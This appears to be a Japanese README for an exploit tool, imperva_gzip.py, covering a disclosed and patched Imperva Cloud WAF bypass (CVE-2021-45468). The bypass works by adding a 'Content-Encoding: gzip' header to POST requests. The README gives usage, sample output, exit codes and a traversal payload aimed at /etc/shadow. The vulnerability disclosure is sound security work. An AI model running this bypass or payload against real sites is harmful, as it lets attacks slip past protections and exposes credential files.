
CVE-2021-45468 のエクスプロイト、Imperva WAF バイパス。
Imperva Cloud WAFは、攻撃者が悪意のあるHTTP POSTペイロード(log4jエクスプロイト、SQLインジェクション、コマンド実行、ディレクトリトラバーサル、XXEなど)を送信する際にWAFルールを回避できるバイパスに対して脆弱でした。
Impervaチームは、報告を受けた瞬間から非常に真剣に受け止め、わずか数日でグローバルな修正を実施しました。素晴らしい対応です。すべてのCloud WAFのお客様は、2021年12月22日時点で自動的にパッチが適用されています。Impervaとの協業は素晴らしく、成熟した熟練した有能なセキュリティチームを擁していることは明らかです。
HTTP POSTリクエストにヘッダー Content-Encoding: gzip を追加します。POSTデータはそのままにしてください。エンコードしないでください。Content-Encoding ヘッダーの最初の4バイトが gzip である限り、POSTリクエストにはWAFルールが適用されません。
Burpでは、プロキシのMatch & Replace機能を使用してこれを行うことができます:

次のように新しいヘッダーを追加します:

これだけです。以上で準備完了です。
POSTリクエストをサポートするURLに対して を次のように実行します:
imperva_gzip.py構文:
./imperva_gzip.py [[-t] | [-r]] URL
指定されたURLのWAFタイプを推測:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
WAFがgzipバイパスに対して脆弱かどうかを確認:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
次のエラーが発生した場合:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
コマンドラインで -r を指定してリラックスモードを有効にしてみてください。リラックスモードはデフォルトでオフになっており、POSTリクエストはサーバーからHTTP 200応答が返されることを前提としています。-r は許容される応答をHTTP 2xx、3xxに拡張します。
imperva_gzip.py の終了コードは次のとおりです:
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.
3つのPOSTリクエストを送信します:
&test=../../../../../../../etc/shadow などの「悪意のある」追加データを含めてImperva WAFをトリガーし、Impervaがブロックすることを確認するContent-Encoding: gzip を追加し、Impervaがブロックしないことを確認するhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding によると、Content-Encoding ヘッダーには4つの有効な値があります:
compressdeflategzipbrテストでは、gzip のみがバイパスとして機能しました。
Cloud WAFはImpervaによって管理されています。その結果、Cloud WAFへの更新はほぼすべてのお客様にほぼ同時に影響します。2021年12月22日時点ですべてのお客様にパッチが適用されています。
gzip バイパスのバグは、SecureSphereという別のImperva製品でも修正されています。SecureSphere v12.6のリリースノートには次の段落が含まれています:
SPHR-58185: "Content-Encoding: gzip/deflate" ヘッダーを持つリクエストでSecureSphereがPOSTボディの展開に失敗した場合、アラートを発行せずにリクエストを通過させていました。
これは間違いなく同じバグであり、おそらくCloud WAFと同じコードの遺産を持っていると思われます... 2つの製品に存在するには非常に特殊なバグです。この問題は2021年2月にSecureSphereで解決されましたが、いつ導入されたかは不明です。この脆弱性が何年も存在していた可能性があります!
Impervaカスタマーサポート: https://www.imperva.com/support/technical-support/